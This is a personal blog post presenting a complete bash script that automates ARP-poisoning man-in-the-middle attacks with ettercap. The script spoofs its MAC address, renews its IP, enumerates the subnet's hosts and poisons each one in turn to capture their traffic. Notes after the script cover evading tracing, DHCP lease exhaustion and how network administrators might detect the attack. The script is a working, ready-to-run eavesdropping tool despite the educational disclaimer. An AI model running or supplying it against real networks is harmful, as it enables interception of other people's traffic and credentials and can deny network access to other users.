Iterative MITM Packet Sniffer

So, I got into a discussion with a friend of mine in my Computer Security class at UCF about this script. I'm posting this for historical and educational purposes only. As always, I never condone the implementation of any of my content for malicious intent. Moreover, this script has flaws that * would make it useless in such a scenario. Don't do it!

Here's a script I hacked up last semester when I was playing with MITM attacks and packet eavesdropping with ettercap:. This scripts will automatically:

1. fake its MAC Address
2. get a new IP Address
3. collect a list of hosts on the same subnet as itself
4. iterate through and ARP poison: each of these hosts one at a time for 5 minutes each
5. save all data collected in host-specific files in a timestamped directory
6. repeat until the hard drive is full

This script is named init.sh. I executed it as root on a server running Backtrack.

#!/bin/bash

# This script will *automatically*
#  * Collect a list of all of the current clients on the subnet from which it is run
#  * Iterate through each client and initiate a MITM attack on all of these clients (one at a time)
#  * Save all of the data that has been collected

while true; do

   # generate datestamp 
   date=`date +%Y-%m-%d_%H:%M`

   # create temp dir to store pcap data 
   mkdir -p /tmp/ettercap/auto/${date}
   cd /tmp/ettercap/auto/${date}

   # release DHCP address
   dhcpcd -k
   killall dhcpcd

   # change the mac && ip for ultimate anonymitity 
   ifconfig eth1 down
   macchanger --random eth1
   ifconfig eth1 up
   dhclient eth1

   # collect a list of all the clients on this subnet, and put them in a file named 'hosts' -- one per line
   ettercap -T -khosts -s 'q' // //

   # fucking remove the gateway!
   # (if you don't do this, you're pretty much guaranteed to kill everyone's traffic)
   for i in `route | awk '{print $2}'`; do
         sed -i s/^$i .*//g hosts
      done;

   # start writing the script we're gonna execute by giving it the shebang!
   echo '#!/bin/bash' > snif.sh

   # make it executable!
   chmod +x snif.sh

   # create the ettercap commands in the script file
   # (note we're excluding the blank lines in hosts [ie: the gateway])
   cat hosts | grep -e '[0-9]' | awk '{ print "ettercap -TEM arp:remote -s "s(300)q" -L " $1 " " $2 "/" $1 "/ //" }' >> snif.sh

   ./snif.sh

   # we're all done! let them know with this annoying beep
   echo -e 'a' >/dev/tty1 # beep
   sleep 1
   echo -e 'a' >/dev/tty1 # beep

   # check to see if we've filled up the harddrive (% full is greater than 95%)
   if [ `df | tail -n 1 | awk '{print $5'} | sed 's/%//'` -gt 95 ]; then
      # harddrive is too full!

      # quit while we're ahead ;)
      exit 1;
   fi

   # if we didn't need to exit, continue to run...

done

Notes:

1. MITM attacks are executed 1 victim at a time to prevent all traffic on the subnet from going through the machine running this script. Trying to ARP poison an entire subnet with active users will almost certainly stop all traffic flow for everyone.
2. For the same reason as above, the Gateway: is removed from the hosts list.
3. Because the MAC Address changes before every cycle around the subnet's hosts, the DHCP server issues a new IP Address lease to the attacker's computer.
4. Because the MAC and IP Addresses are dynamic, it becomes difficult for the attacker himself to _find_ the server on the network (I'm assuming the server is headless here). To solve this, I set ssh to a non-standard port, and did an nmap across the entire subnet for it.
5. Because DHCP server is re-issuing a new IP Address lease every n*5 minutes (where n is the number of hosts on the subnet excluding the attacker and the gateway), it will likely "run out" of leases, preventing any new computers on the network from obtaining an IP Address
6. Assuming the attacker is using a static, physical network connection, this attack is easily traceable.* Even though the MAC Address is spoofed, the constant DHCP requests coming from the attacker can be linked to a single, physical port on a switch. Assuming a good NIDS is installed (or perhaps an IT drone is keeping a watchful eye on network anomalies), it will be blatantly obvious to the Network Administrator of the victim subnet where the attack is physically originating.
7. Assuming the attacker is using a wireless network connection to an AP that allows anonymous connections without requiring users to register their MAC Address to a pre-existing user account, it would be significantly more difficult for the Network Administrator to determine where the attack is physically originating.
8. The best defense for this type of attack is for the Network Administrator to install a network anomalies amongst non-server systems and actively disable their connections. For example, a NIPS could realize that exactly every x minutes, a client on a specific port is submitting DHCP requests under supposedly unique MAC Addresses. After 3 successive equally-spaced DHCP requests, the NIPS could disable the suspected port, and alert the Network Administrator via email for further investigation.

Further/Related content:

1. Irongeek's Fun with Ettercap Filters
2. airpwn - bringing goatse (and friends) to Defcon 12!
3. OSSEC - IMHO, the best FOSS HIDS / FIM

   Hope this was useful to you, Mike!

   • share 
   • tweet 
   • share 
   • share 
   • share 
   • donate 

   Related Posts

   

   Ephemeral Firefox as a Site-Specific Browser (3/3)

   

   Introducing BusKill: A Kill Cord for your Laptop

   

   HPKP Best Practices for Let’s Encrypt

   
   
   

   Michael Altfield

   Hi, I’m Michael Altfield. I write articles about opsec, privacy, and devops ➡

   About Michael